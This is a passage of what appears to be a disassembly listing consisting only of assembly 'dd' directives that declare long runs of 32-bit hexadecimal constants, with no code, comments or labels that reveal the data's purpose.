		dd 0C880E593h, 0DF06A513h, 7C00F4DDh, 7A0BE5D3h, 6C2F291Bh
		dd 7210D24Ch, 8D2CD732h, 4E947DEDh, 461B70C0h, 30EA5C44h
		dd 2E198CF4h, 3E28CE8Eh, 0BB8D0E97h, 6EE86654h,	0A2E3D41Dh
		dd 0DAB863C8h, 85FFE8B5h, 30B0FAACh, 7BE954C1h,	2A9236FAh
		dd 71D6B0EAh, 0C77E2800h, 0A40910C2h, 0B6E08BBEh, 51C9589Ch
		dd 0C7254BEAh, 0C3A9B5DCh, 0D48CDE8h, 0D8CAB7A9h, 0B331B745h
		dd 6AB61B1Bh, 0F462157Eh, 5AC371A1h, 0E52B0479h, 5AD473CAh
		dd 0DDDA47FEh, 0A841558Dh, 10ED4987h, 0A971DCE3h, 0A3F1B4Ch
		dd 66E512BBh, 0D25160EAh, 0D7F1CEC3h, 1907949Ah, 28CFF287h
		dd 13FC4BFFh, 4B6FC08h,	5CE75EAh, 56D0989h, 0BC30F1DBh
		dd 865BFC82h, 0C5C22EE4h, 93ABAF9Ch, 0E44761B0h, 0E688ED74h
		dd 26662F92h, 0E456FF5Ah, 0BA38B604h, 85365AF7h, 5571CC3h
		dd 0DE7CFE18h, 0A726163Eh, 967A9277h, 0DCF83082h, 7F98140Ch
		dd 3ABABB4h, 0ACC8FE00h, 9EA55FF5h, 2704C120h, 8C67428Eh
		dd 56D9E12Ch, 0A31CFBC2h, 4578EE9Fh, 99913E0h, 0D1EE70D4h
		dd 0F2A93DA4h, 0AD68376Fh, 0C22CD3DDh, 0F9C28510h, 3B03CE7Dh
		dd 109B82Fh, 0B067D2CBh, 9DB2F6B9h, 441916A0h, 0B7A1738Dh
		dd 0FF015359h, 61A728E7h, 35ECC5C7h, 3DD52F1Ah,	0D297D22Fh
		dd 0C54990EBh, 0D53995E6h, 84156653h, 84FCD2FEh, 235475DCh
		dd 7AA56C92h, 62F11921h, 0FC34D260h, 1C116633h,	0D0CE3AC3h
		dd 0C3758D34h, 9F21EFDCh, 111A27D9h, 2CDA0BB7h,	0AD740C9Eh
		dd 0C0BEDC61h, 0CB8E9E83h, 0F62D7F20h, 5FF0F642h, 0CCDA824Ah
		dd 0E286E928h, 0F2F14763h, 0B55DC543h, 6BDF52E7h, 969C92F2h
		dd 6865C475h, 38614CAAh, 0BE39E3EBh, 5292B6D9h,	0E83760EAh
		dd 0AC6BC46Fh, 0E7CDFF4Bh, 0FC5CC08Ah, 974D4EB2h, 725B03A2h
		dd 91F885FEh, 384510EFh, 1A5139Dh, 17D9A512h, 0BEFBD9C8h
		dd 8404E805h, 0C2C01BCh, 136F1BB1h, 460D549h, 0C0A5B061h
		dd 0E1F4E321h, 88C7172Eh, 0FEC46C9Ch, 8CBED937h, 0FAA13A1Bh
		dd 0C899026Fh, 0E6F5863Dh, 0CA8F215Fh, 4EA9C14Eh, 7156940Bh
		dd 0D22F55D1h, 0D2EA0EECh, 9E012A98h, 52362D6Dh, 619D4CC5h
		dd 39126A18h, 3A342034h, 13756019h, 0EA302001h,	4AEB0933h
		dd 0EFDD8A07h, 0B9D0B446h, 0E676554Ch, 9A14877Ch, 1D9751EAh
		dd 23CC77E1h, 0C9509967h, 5A2CE31Ch, 0C5321E72h, 0DE50101Fh
		dd 7DFAE942h, 3C2323D9h, 0C7498C49h, 65F43E6Dh,	9EF9411Eh
		dd 1B22E147h, 131A51D9h, 32A857D8h, 895320B7h, 64763FB8h
		dd 4A1AE229h, 982B0273h, 430BD527h, 0C07D7CEDh,	0EA856141h
		dd 0E013416Fh, 4A3DFC05h, 778161C2h, 82792866h,	0EA4744E1h
		dd 7CF51014h, 8BD73B1Eh, 781F7D7Bh, 42220D4Eh, 0E1DFF7B2h
		dd 0D4164088h, 0B420DB5Ch, 0DACD7317h, 32BC64E5h, 666AA227h
		dd 6E6F7h, 2CD6B11Eh, 396A27C6h, 0E99BAA8Ch, 0CD5A4C70h
		dd 220736BAh, 4B04C956h, 0E659E2BEh, 8F1303B5h,	0EEE1B05Dh
		dd 2C0E7BD2h, 0E36E5A60h, 82C7B4B6h, 9FBFA066h,	58CB658Dh
		dd 0ED210EBEh, 7925A607h
		dd 6769E746h, 713ACB9Eh, 16C78596h, 66A6B8A9h, 0FCA6FE01h
		dd 6708A3B1h, 0A76DC713h, 0E6C75DC8h, 0DD0CEB2Eh, 2F46A15Ch
		dd 591CBEE5h, 21218198h, 40A8A571h, 0B3A71E60h,	0DCD718BBh
		dd 343856E3h, 298A9A1Ch, 0A2F83844h, 4FAF43EAh,	0DC8CE3E0h
		dd 0FBEDE166h, 0D668352Eh, 8B189B48h, 6F4519C1h, 0AC2C8CA7h
		dd 1B587C2h, 5E949786h,	17256789h, 894FEB53h, 0D6146AA6h
		dd 0A56E7166h, 0D770D500h, 0E8FB365Dh, 3C9226C3h, 0C0FEC185h
		dd 3CCBB511h, 0C1A35BA4h, 0E8ABC894h, 0DA783C04h, 0B93522BDh
		dd 5443B7D6h, 92655A4Eh, 0C56169EBh, 222C8F90h,	6034C153h
		dd 0D5CF55CEh, 0B46D3649h, 0C6D51FDAh, 0D7137397h, 0F85D4F40h
		dd 99F141D4h, 89FF8142h, 20324223h, 0B287D27Ch,	0CBA499B4h
		dd 116AFC33h, 0ACB5E31Ah, 140F0077h, 0C6121C39h, 166E9DA3h
		dd 2BD8D77Ch, 89E6B31Dh, 11F20896h, 1EB596E4h, 7AE3691Ah
		dd 3FE9EF6Ch, 0CCFE6281h, 5AC4D140h, 7798267Fh,	4CB0A404h
		dd 9C380207h, 7D570F25h, 0D99B8147h, 0E9738D30h, 0B100735Ah
		dd 0F60F11A2h, 5CEB106Bh, 939F7392h, 0A0F0A140h, 0D2B4AF68h
		dd 97B2E7DAh, 0ABEB3177h, 0AFCD2FE8h, 175B91A6h, 74680ADFh
		dd 4D93F8F3h, 0B2347C8h, 219DDAC9h, 0D1C559BEh,	39283CB1h
		dd 0F7FED247h, 5FD4BE1Dh, 0F302050Ah, 1C78D93Ah, 96029740h
		dd 0F4773C40h, 0DF74E74Ah, 1BFCF57h, 4F17FAD7h,	95D17AF1h
		dd 1EE2E441h, 0E88B15CFh, 4A92FD21h, 0C07D40Eh,	0E9D178A0h
		dd 0D16D72D9h, 3C741678h, 2FAE8632h, 10E6B7CAh,	0D65A22B0h
		dd 0A4E59544h, 0D7CBB92Ch, 89F5AB5Fh, 0D5BEB25h, 8EC15CD7h
		dd 0DC553DCBh, 95AF9ADBh, 0F610DA6Dh, 0A3582851h, 121BCCC4h
		dd 0B0B28557h, 9581D61Dh, 78E3BE05h, 1D1CF8C9h,	2DADEFA8h
		dd 1C0E9A21h, 8EC63797h, 255E5C70h, 1323D4CDh, 7FA01923h
		dd 65EE8BBCh, 0FA0B06E7h, 3E3599BFh, 56AB3E36h,	7E14C428h
		dd 0A525F55Ah, 8D4B70ABh, 9492AE5Ch, 0E6EC8826h, 0AE0CBA19h
		dd 77B6AC9Dh, 62B2FFCCh, 128720A1h, 1A577436h, 84243CF3h
		dd 77391EF0h, 0ADB10E3Dh, 370127F3h, 9A640A05h,	2B510CBBh
		dd 2E8DB3BEh, 792BC8EDh, 2AF61717h, 227B4ED8h, 10A8C075h
		dd 89528FEFh, 0F574A7C6h, 39092BEDh, 0E237CF9h,	267DAB3Ah
		dd 0C6DCA0EDh, 6D02CCCCh, 0FB1EC280h, 0E3464C04h, 5286FD10h
		dd 0F27C002Ch, 0F29D5A9Eh, 0C66E3E16h, 681CC49Eh, 0BF4D8720h
		dd 0FCC7F1D1h, 6454B6D1h, 22A5FE9Dh, 0C9C3692Dh, 0DD9807F6h
		dd 1F32DA81h, 0BA836E15h, 21A8C2FAh, 0ED0C6EBCh, 8DCA4A70h
		dd 132C2B36h, 0BDFEF0D7h, 859F7560h, 0EE1733BFh, 4D4F407Bh
		dd 38CEDF8Ah, 71A1A226h, 0AF32070Bh, 4D655EC6h,	9F36E375h
		dd 0A2E2E8BDh, 5F0CC0A5h, 33367DAEh, 493FD31Dh,	0C4F05096h
		dd 0F19609BFh, 8AD392E6h, 26BBAE8Ah, 2ADDB23Eh,	0ABC6007Ch
		dd 81A01F2Eh, 2A88DDA2h, 0F44646ECh, 0E2C3DF60h, 51C583ACh
		dd 2BB0B340h, 2BF3285h,	0AC52480Eh, 0AFBAA7B2h,	0EE84818Bh
		dd 0AEAF70h, 124F5164h,	2A5BC178h, 44800B8Fh, 7DAC6C9Ah
		dd 4DB10622h, 747498C2h, 79CFFE09h, 0F2E02E1Dh,	0F4EECACh
		dd 2E38E169h, 0C65CD16Ch, 26EEC3B0h, 0C0DF6B62h, 2B41BC56h
		dd 64B524E7h, 3D9330EEh, 0DD1EC8BDh, 0AEF817B9h, 1C856E38h
		dd 8B950FB0h, 402FF7B1h, 9AEF785Fh, 99811DAAh, 0EAFC9AA5h
		dd 1D2D206Ch, 0B955CF3Ah, 51962BBBh, 6F350F6Bh,	0F8B4073Fh
		dd 9999ADAFh, 0E379449Eh, 4B4292D5h, 0A73A284Eh, 96803B1h
		dd 7AECF6A3h, 82F899C5h, 7E1B8DD8h, 26B618Bh, 93C10FEAh
		dd 0AE017350h, 194DB212h, 0CA23EB10h, 38ECD51Eh, 0FB017837h
		dd 603D4A98h, 83A85CD1h, 3721B9F5h, 0E1782606h,	0B8CDEA2Fh
		dd 10619962h, 0E3D899D8h, 1383B5A5h, 0AA847887h, 0F39AAF6Ah
		dd 7FED9769h, 2E4AFB00h, 0B07F562Dh, 8CE79D09h,	0DE1B57D1h
		dd 8C2CE919h, 42D8A659h, 16A3BC80h, 0A20F3720h,	0E874CBD1h
		dd 0A6869631h, 44DA59CFh, 0DDB62188h, 84DF555h,	13E33922h
		dd 0BAC534F6h, 51215B21h, 53950FE4h, 6CA3683Fh,	483B481Bh
		dd 61B23B40h, 239BC8D8h, 8536F91Fh, 3FB3AE3Dh, 906EB2CAh
		dd 684BB382h, 146DEC70h, 7436BC45h, 252FD899h, 0E18F86DAh
		dd 36A0091Ch, 0B5B59AB2h, 0D6444E31h, 817A2890h, 0DC458BC6h
		dd 0A4843D46h, 3863170Bh, 20BA0B28h, 95C2D4C9h,	0AFE724FEh
		dd 0F324C11Fh, 0B77C2FA9h, 588AA03Ah, 8112EDB9h, 0A954994Fh
		dd 0FF1AFC38h, 59493644h, 0DD48C639h, 871FC274h, 0D4DBC4E5h
		dd 322EAA13h, 5002D336h, 32359E62h, 26B58203h, 0B316C02h
		dd 67E7D6FFh, 0EABFEC76h, 3952202h, 0B901C74Eh,	0DDD6CA9h
		dd 0C1349F53h, 0D4535CA9h, 8DC2FDF9h, 93D04F15h, 8D5FAF02h
		dd 2FF84346h, 4C205E76h, 3DDF29C3h, 38A9A615h, 15580BF7h
		dd 31D3200Bh, 9A41A014h, 86E39CD4h, 292FCC68h, 379B41B8h
		dd 8689670Ch, 6BF2E8DFh, 0B29A4C93h, 815263BFh,	7409675Fh
		dd 0CCABAC9h, 87E606AFh, 5B45D8E5h, 1AC67BC8h, 9AD81F6Eh
		dd 0AEFC5857h, 0B27284CBh, 27B0930Eh, 139E7433h, 20B64737h
		dd 58B4435Fh, 9FE024Bh,	0C632BCA6h, 55283EEDh, 98E274B8h
		dd 16D1C5F0h, 0B82E14D3h, 917B69BAh, 20DC7EC3h,	0A726E228h
		dd 8971182Fh, 0AAC9A930h, 86DAB659h, 4DF937B9h,	0E6EC6723h
		dd 233AF420h, 79311514h, 2CF0DB2Ah, 19848BD9h, 88FFBC7h
		dd 0D3A30569h, 789A4D1Dh, 64EAE3F0h, 4F991C22h,	954DB658h
		dd 0E477F74Bh, 3D54E225h, 1BD41B81h, 79191B5Ah,	0A2508AB7h
		dd 0DDC21C3Ch, 2E15A187h, 0E0C97529h, 7EF43EC5h, 70889160h
		dd 1DC222Dh, 8381BE51h,	182CEEDFh, 0E13691AAh, 6681B295h
		dd 606915FDh, 8A136BFAh, 0A4E4854Ah, 0B5435FB8h, 0D16985F7h
		dd 6345DA86h, 0EFF2D3DFh, 951F59C7h, 0E0C70052h, 297A4E75h
		dd 38B8906h, 31CBEE2Fh,	0B4F62C31h, 75A07E6Ah, 0ED56C490h
		dd 50449654h, 2E353479h, 0BB2B19F4h, 6EA713F8h,	5C2D3F78h
		dd 98EF752Bh, 7D9EBD59h, 0E256FC5Eh, 11215B1h, 0EFEA3D06h
		dd 8D33EAF9h, 0D256747h, 5016F78Ch, 37BC8F48h, 46C09637h
		dd 770B4592h, 1352C99Dh, 653B3663h, 9A42AD10h, 0D1677DBFh
		dd 6298328Ah, 38911599h, 0F1AE264Eh, 0B46CE9DFh, 5D4591Ch
		dd 11E0056Eh, 262937FBh, 5D6F458Ah, 8FF192E3h, 581F772Ah
		dd 0BE1E2F3Dh, 1B4AC5E7h, 0A929F734h, 0A0B893E8h, 62C3CDF6h
		dd 49EB025Eh, 5BEC411Ch, 97417BC9h, 2CF752ABh, 82B2068Fh
		dd 51EAE475h, 0D03C01F4h, 22850502h, 0DF00CC48h, 7196E925h
		dd 0F41172F5h, 0E27F16ADh, 765FB5CEh, 154C2593h, 0A5A25933h
		dd 0F963EE98h, 69C7E147h, 7091B6BFh, 0F7F86FF6h, 10CFA3F9h
		dd 0E43AE05Ah, 0C5717EB1h, 35731CA9h, 173D0A7Ch, 0CBECB06Ch
		dd 8953479Eh, 97F6BACCh, 0C8DB91DBh, 349DBF65h,	55E346ACh
		dd 8FFEAB5h, 22A3B7CFh,	0AFF7F0EBh, 4DAC0E8h, 0B387FB58h
		dd 2DDDFAC0h, 438DF786h, 7CC5C0C1h, 6EE23534h, 0C8032D02h
		dd 0C53D6925h, 0C65EA4CFh, 0CEB41731h, 0B6C83578h, 0E0B93AB1h
		dd 0EC81A20Bh, 0CBFEE380h, 0A1F065B0h, 0DFA8EAA9h, 0E7EF0D84h
		dd 0E5491250h, 22ED358Ah, 88CC6B5Fh, 0CE956D35h, 377EE5A7h
		dd 0E6199A9Fh, 4942FC43h, 0EE770F4h, 0BAB87ECh,	6626AF72h
		dd 0E7A4D0E7h, 4DBB0BEAh, 436C1A06h, 6633309Dh,	98E219C1h
		dd 335C1CE4h, 328D9B05h
		dd 0EC0B17A6h, 2AB2FECCh, 67D3D0D5h, 54EA6134h,	19428AC1h
		dd 0FEAEFDABh, 0C299DB55h, 197245A9h, 63C2777Dh, 53D6300h
		dd 3B9B309h, 8D84ED11h,	4E1E64EDh, 0C1B3D5BEh, 44D5BFA3h
		dd 0ECD3061Dh, 965AD4Ch, 7079DAABh, 681A35BCh, 4EAF7C07h
		dd 83BFA396h, 496FED7Ah, 2A09548Ah, 4F1C805Eh, 0C6861D3Ch
		dd 0CF9ABBA2h, 8B4DBE1Eh, 0A1AF0E2Bh, 94DC3F29h, 9FF5728Fh
		dd 0F0C8D278h, 0D7E40600h, 49B24EEAh, 0F75032E9h, 0B5238D59h
		dd 0A72826E8h, 44DD4E3Eh, 16D77747h, 84767910h,	4155A945h
		dd 0EEAEEA08h, 0BBDE6E30h, 8A297BCAh, 54423C20h, 0CFE8ECAh
		dd 1F706EC5h, 0D601E7AEh, 0DDCA35A9h, 68B54D55h, 0F9651823h
		dd 0CBE594Bh, 0C3F1340Bh, 0B23A345Ah, 0E1AAB66Fh, 79A3D174h
		dd 0B800A3DCh, 0C478BC66h, 5697E1Eh, 2D2FFFBh, 6904C9E8h
		dd 3C23C06Ah, 0AA7358DBh, 67AD4E00h, 772B7459h,	0BBE09640h
		dd 9AAF200Dh, 0C49FD7D6h, 0CBCA83DBh, 0A59CC72Dh, 90A8E2B6h
		dd 77BDBEC7h, 370866F0h, 1FECCC3Ah, 6976FADFh, 0DEE6233Ah
		dd 6DF030A4h, 39560B4Ah, 9F70557Eh, 8C84EBE2h, 30845CE9h
		dd 0AA3D8E8Fh, 8FEB9A8h, 0FF9076E7h, 7EB05269h,	828C169h
		dd 0BEC159B7h, 33BA5C35h, 0D309D59h, 9FE73A59h,	0E4D630FBh
		dd 1FBCCEBDh, 9DA64AFFh, 0B569F283h, 0E825F0AAh, 0D020FABDh
		dd 4F41EF63h, 69A33A78h, 7B633CA7h, 7D15ADE8h, 0E3438965h
		dd 0FD93FA26h, 0CB596515h, 0D19A4726h, 0DC88472Ah, 11231A2Dh
		dd 0CEB017E3h, 493A096Ah, 95FEC86Ch, 0CE5B4C5Dh, 4A21C25Bh
		dd 618B82F6h, 85029354h, 0FAB738DAh, 0E0DF9B41h, 79A12050h
		dd 3378E4B9h, 0AA94765Ch, 79DA15BCh, 1F2F8FEh, 74B4AE73h
		dd 2C16AE03h, 25E85A46h, 5FFA8045h, 82E0D08Bh, 84A4CD43h
		dd 7ACA80E7h, 1E600274h, 330C27B4h, 0BD55598Ah,	8860788Ah
		dd 4C8AD965h, 57219C1h,	0FA1C4573h, 0F3168A8Ch,	1C8F1841h
		dd 4DEFDD47h, 3A4798B5h, 291AAD54h, 0DB32D0E4h,	813CC4D0h
		dd 0EB080A5Dh, 9B087E33h, 84FC927Ah, 332E7315h,	0DFCB21ADh
		dd 0CB09587Bh, 4E0F837h, 55B2F92Eh, 6461DF49h, 374271F0h
		dd 8E73D700h, 0FAEB927Ah, 3BB9323Ch, 8092F1DBh,	0F171892Ah
		dd 0F32E61D7h, 0F61769C0h, 0E43B18C3h, 0A414D439h, 1E42A00h
		dd 7C988232h, 0E7668B8h, 0DF902E3Bh, 0F128D6A8h, 32AC275Ah
		dd 875E146Ch, 0B3669777h, 8668D2BAh, 0FA5DAF2Eh, 3CAAD7C0h
		dd 2634BC7Bh, 0F842266Bh, 73B1D748h, 345FAEE8h,	10A016C9h
		dd 15E31668h, 1CDF9963h, 32607F2Fh, 0FF75F9F1h,	973A95DDh
		dd 0EB9C6E82h, 4F6FCC05h, 0E3EE89ABh, 0BCF4F3C4h, 620F596Dh
		dd 9A377C5Ah, 54B5FC48h, 0FBC22483h, 0B0F8A008h, 95E5228Fh
		dd 16212E43h, 5A1404E4h, 17822A25h, 0CD2B873Fh,	84D3166Bh
		dd 89D50CA9h, 0D22AD23h, 4A3CBDD6h, 41B83F1Bh, 0AF641018h
		dd 3ABFC665h, 9FBFF895h, 0F4BD0845h, 79FECA77h,	0CB5ED683h
		dd 0EFFF6885h, 2E1E209Ch, 0F09F0799h, 77D3F6DEh, 0B82DE922h
		dd 8A14932h, 4DB17C5Eh,	0A5ADE2C8h, 9A0763F2h, 0C4E67081h
		dd 6C9EB931h, 0FD0FB9B4h, 472965F7h, 0FA0B1EF3h, 62995ACDh
		dd 0E603625Ch, 496B79D7h, 9B728691h, 164FBF05h,	64FC8DF2h
		dd 37910896h, 0F86FBC30h, 0D0EA5B1Ah, 8FD43F1Ah, 33A759E2h
		dd 8C28C2C9h, 0A2738939h, 95692B1Ch, 0E95B828Ah, 0ECF3E7E6h
		dd 0D3EDDD0Ch, 0F059B9D6h, 0E543C813h, 22E6CC00h, 90C86E9h
		dd 28FF269Ch, 0C142DC27h, 2E9C3A9h, 1F2D4CE2h, 0CC0B56Eh
		dd 2D89315Fh, 204B6243h, 268AE1C2h, 98FF8FD9h, 3E0E7AB7h
		dd 2676F980h, 6566563Dh, 3458B16Fh, 0DEA4A44h, 8380EA6h
		dd 0E233ACE8h, 0EAFB719Ah, 0F778AC43h, 655A121h, 9B9CCFFh
		dd 768FBAACh, 0B24D5236h, 0C065310Ah, 8E4D6D17h, 9CB632A6h
		dd 9A904D6Eh, 3CE9AB61h, 0C19B93EBh, 630F5CBAh,	0B7CC6C2Fh
		dd 1785A6A9h, 62457406h, 0E62B46B2h, 7D6A9D06h,	0A876EA86h
		dd 0FD50CAA1h, 35D3A514h, 3FFDC970h, 2673AB0Bh,	9C67AC8Ah
		dd 879C62DEh, 0DD5A5E4Bh, 3123754Bh, 8D48F7C8h,	0D6DE5145h
		dd 0DE9065D7h, 8A158273h, 99D82F8Eh, 0EFA8B4CDh, 0C4C64F1Ah
		dd 87660C4Dh, 0A37D6880h, 6ECFE67Ch, 2C9876FBh,	3DD54254h
		dd 98F5E839h, 3E5BCD13h, 3F53BC4Dh, 827C9AB1h, 7DC61EEFh
		dd 7C4E534Eh, 0D28A5A7Dh, 6A32DAFEh, 0E65F4D58h, 1D3B526h
		dd 0EE3E47F6h, 0A8FE6915h, 0B69A5D34h, 0DA569860h, 35CCFEE5h
		dd 0A94B992Bh, 0CFE230AFh, 0F65AA288h, 130F734Eh, 0D236D06Ch
		dd 9AC3769Bh, 535994E6h, 0B93F37D8h, 565745BAh,	0D729454Eh
		dd 347B2758h, 81AC56E3h, 0D7ABA250h, 6D5A3993h,	0F1FC00F7h
		dd 0D3194A8Ch, 59CF9A95h, 1C82B102h, 0B26431AAh, 0E9033962h
		dd 875E1EBEh, 0C4E1008Fh, 8E813F2Ch, 74551B7Ah,	90B3DB0Ch
		dd 5234EEB7h, 2F0795A0h, 606729CBh, 0AC60C99Fh,	565CDEDFh
		dd 5012B4B4h, 2EB6705Bh, 0A253D24Dh, 0A8CE8A50h, 0CF665B73h
		dd 60294B66h, 79247411h, 0EF79658Eh, 0A2ABF1D4h, 98C56F1h
		dd 6B3B68DDh, 1FCFAE6Ch, 462E9080h, 668922Ch, 0D1257750h
		dd 13055103h, 74BCAEC0h, 207E1EAAh, 84B54A90h, 0EFA6B837h
		dd 379F543Bh, 70C50BA1h, 823BD347h, 6156F7CAh, 0D4AC0990h
		dd 0F32B2B19h, 6C0EA9B9h, 0C2602858h, 0B813995Ch, 1F049F7h
		dd 95F77879h, 0FD52BB86h, 0D72CE281h, 876439C4h, 0F90CC0E8h
		dd 0B3DB3E84h, 0FDDF8FDCh, 23BEBB0Dh, 1AE5D498h, 0D1522D7Ch
		dd 1EAC7B9Ch, 73C3F31Eh, 1C071625h, 211B8CADh, 834F7AD6h
		dd 0E1B7E853h, 0E142C8E0h, 805FE052h, 0BFBF74FDh, 2A46076Fh
		dd 0DC0240C0h, 0FF39694Ch, 70C3F2A3h, 2ADC1ACAh, 22089F8Dh
		dd 2BB486D3h, 43AABDAFh, 0BD862A54h, 4FE9BE3Fh,	0D657C3B4h
		dd 7621905Ah, 27BACD35h, 0A785DA3Ah, 87F49218h,	0B5D47532h
		dd 0BCC124DDh, 3F6748FDh, 0E01BF02Ah, 37868965h, 50547CB3h
		dd 0EC646C1Dh, 0FC693586h, 259D4534h, 0D612ACEFh, 16677F06h
		dd 9532D903h, 0A1DCB640h, 1AB89833h, 8B549F2Dh,	0FEB009CBh
		dd 6119AC7Bh, 0C33CA2E7h, 0F6E6AB64h, 8A93A8C6h, 932729h
		dd 1750FF6Ch, 5BB18BC6h, 3DAA0E88h, 8909952Ch, 1EBB6C24h
		dd 53FD33D2h, 7634EFC7h, 9BC30A96h, 83B8A7E3h, 37E57F4Bh
		dd 9E0C07Bh, 6F3EAF8Eh,	1C6B50D0h, 137C8A84h, 0ECD5033Dh
		dd 0FC2D7507h, 0BE14BDh, 59FF14D4h, 6101829Dh, 837118BFh
		dd 0B67ECC6Dh, 0A0165226h, 0F173CF2Dh, 0A132DD68h, 617AE57Ah
		dd 23A8CD5Bh, 412C6716h, 6A038FCAh, 6258D145h, 4551F45Eh
		dd 5E8BD2F0h, 0E6BF3C8Ah, 0DCCC3819h, 0C63EB584h, 0B30D68Dh
		dd 83A6BE65h, 359E411Dh, 701FD794h, 9C775307h, 801B052Eh
		dd 0A0E2118Fh, 0F0B3A7C6h, 4B215FBDh, 8E42AB29h, 3A14D528h
		dd 19D004B7h, 0D713F05h, 9456CE43h, 14F7D990h, 0B2FAC98Bh
		dd 1B49779Eh, 0B7B716EAh, 88E6812Eh, 0B739433Dh, 0B4DA0352h
		dd 87C45158h, 1C1721D2h, 0BAE902D2h, 1DAC0BF8h,	60803BD9h
		dd 6C0A2755h, 0BC99237Bh, 0D7E7DB73h, 1BEED0BEh, 63319277h
		dd 0EF7DE78Dh, 0E66BBA6Fh, 0F92509D2h, 0C47ECAB1h, 9473BCCCh
		dd 1634B13Bh, 11729526h, 0A8C22DA8h, 0D6E55F10h, 0C218511Dh
		dd 86FA844h, 0F6EE7A2Bh, 53E16603h, 2A850295h, 294C3E40h
		dd 6C1E2B55h, 61FA3359h, 8F38451h, 9DAE8BBCh, 24FFBD8Dh
		dd 8E6DEE2h, 40CCF1BAh
		dd 42B188Ah, 0F8DC48CEh, 0D543A743h, 0E690E733h, 3A413199h
		dd 1E2E22BDh, 8F1E27Ch,	0AB420B51h, 209E066Dh, 0BF6203A9h
		dd 0B0D3542h, 0B2B067AFh, 4C5FB5A7h, 0CDF91522h, 0BA3AEF1Eh
		dd 48586FB0h, 6A52D422h, 4E572F59h, 1618B1EAh, 423F9F6Ch
		dd 0F4F21D41h, 22E7E2B9h, 0B147A031h, 36521456h, 570E5DBCh
		dd 43D2DDC9h, 7649C114h, 83F0772Fh, 2E2D4652h, 13FF8B49h
		dd 0CF4B75Dh, 0D795B81h, 8B0AE78Eh, 0D307B1Fh, 0EC60D6DDh
		dd 0FE0797EEh, 0D6E6DD7Fh, 0DCF2BDD1h, 165579F5h, 6994E5CCh
		dd 0F03042C8h, 9A5702A2h, 0DBC5DE44h, 0C5F39CE7h, 0FCA0C461h
		dd 730DD059h, 0D204695Fh, 6C26387Eh, 65063334h,	20213FA3h
		dd 79B33147h, 2C952543h, 0F5387343h, 0FBABA2E8h, 84F434BEh
		dd 81FFF7DBh, 0E6C3C0h,	3EBD6FA7h, 76CC6E6Bh, 7D0E6E00h
		dd 0D55691B5h, 0A12E29EEh, 83FF8DACh, 0FD895A6Bh, 79D8BE1Ah
		dd 7695CDC7h, 6FF0CBCh,	0C3B3DAD2h, 0B94E2349h,	4AD1F718h
		dd 0C3E6800Ah, 0A74F1ADCh, 0E39D2A7Dh, 5A3D937Bh, 0BFDB271Eh
		dd 0BFEEE7FCh, 7DA33884h, 8632C2E7h, 0A39633C7h, 276AB6C4h
		dd 4C18EFB6h, 6335D95Fh, 0CE1059B8h, 0D2AA1BA0h, 0D5FDA88Fh
		dd 0E5E6D3F8h, 1172074Eh, 44A036ECh, 1F7557EEh,	518433CBh
		dd 0BFB2A4DCh, 0BBEA0B96h, 0AACA64D9h, 0DF4168A9h, 0F7237C9Bh
		dd 0EE4FA6A7h, 0B47B44D2h, 0D1B9548Ah, 9F466FEEh, 0FAA03EE2h
		dd 3C27857Bh, 0B13A5ADCh, 0DF4A343Ah, 0CBB21827h, 0FC86D1D7h
		dd 9D7CBEF5h, 97482277h, 22CC696Ch, 0E8F31DF3h,	25C059FAh
		dd 80B8E9D0h, 0A3E9D75Eh, 0AD1F848Ch, 600B9DDFh, 0FD82DE5Fh
		dd 25DE9684h, 0B9476FA7h, 6785AC6Eh, 876E44D4h,	6E97DA85h
		dd 283F6CE6h, 0F6B8E38Ah, 219154D6h, 0D25B1B02h, 7F38C6CDh
		dd 0B375066h, 2E0AEF40h, 52792063h, 0F1A5194Ch,	6F455E02h
		dd 32757484h, 7A0D2CB0h, 0E8007F44h, 2FAC2ABh, 47D18D69h
		dd 0E5713C47h, 8F07D4EFh, 94A81B75h, 8669B54Ah,	509AEF9Dh
		dd 1592E7F4h, 0C92646D2h, 7AF3C6F4h, 0B972DD7Bh, 0C5538EA5h
		dd 8B4A4A36h, 87B35486h, 78507985h, 0C3A34E80h,	6E470A5Eh
		dd 0BC925725h, 0A3781499h, 55822188h, 25A3CBAAh, 0F976B286h
		dd 3EE0A428h, 2BF7D26h,	46EF4B0Eh, 69205336h, 0D299FC18h
		dd 7302871Ah, 0F1655E5Ch, 0FF5EA01Dh, 6EEEA092h, 83EF5910h
		dd 90675DDh, 5671FB20h,	77F754F9h, 9508ECB2h, 90E01164h
		dd 0E9177843h, 6FF3EF02h, 1AA4F6B9h, 37C66A5Dh,	7D434A42h
		dd 3FCC2EDFh, 72B0F954h, 31D400Dh, 0ED9E2AA3h, 8F181494h
		dd 0CC10F5D4h, 4EC71429h, 22A26404h, 6B634B67h,	3E8DE8DEh
		dd 67DC8D4Fh, 2864FDF2h, 0FB1F82FFh, 1781EED4h,	7A892696h
		dd 0EA5CA7D3h, 0AEB1FAC5h, 0A603C292h, 932D2F5Fh, 795D1E1Bh
		dd 0C6C6C4A9h, 9A5A662Bh, 1195D925h, 19BF46F7h,	0F64ABA43h
		dd 0BA78D781h, 2293F562h, 4C4FA190h, 0AB633D32h, 36BD104Ch
		dd 1774F668h, 7E9C0012h, 0A5DD311Ch, 79CD9E2Bh,	768F08C7h
		dd 8DB46CBCh, 43C2B4FAh, 4FBDC4D2h, 68B2D3A4h, 56BC0429h
		dd 40488D5Dh, 6B36A98Eh, 4A52216Bh, 0A6ED7995h,	0A363633h
		dd 425CC43Eh, 38EA02Fh,	1F9D62FDh, 0FE4EE36Ah, 0D8429FADh
		dd 0FC2FC1C9h, 2D043280h, 6AAF1EFEh, 349A0AACh,	8952DD95h
		dd 5D3E9B82h, 54DC8FC9h, 0BFF3E83h, 6E8A426Ah, 9471F4C6h
		dd 5B15E1D0h, 0A3345A69h, 72BBB635h, 1E5DAA57h,	0E7E0F6ECh
		dd 684B4996h, 49613252h, 957661D2h, 2DB56A4Eh, 0E44B4918h
		dd 8C1C4B08h, 89E8E52Ch, 0C44BB51Bh, 7CCFB316h,	363525FBh
		dd 69206BB8h, 32ED26B4h, 0A2167E71h, 0E33DF81Ah, 0F1FC7F29h
		dd 33A3FE90h, 0D92FE9C4h, 5F7A6B29h, 0C067E0F5h, 2C819617h
		dd 0B9FEF66h, 4ADEEE9Ah, 0EBAE982Ah, 746A16B9h,	4F0DE2FEh
		dd 0C9DDD472h, 79F5B04Dh, 5653D85Fh, 0AD5D213Bh, 89DA5B40h
		dd 6D5F4B1Eh, 0FEE492C9h, 3690A365h, 910030B3h,	0E6C3B35Ah
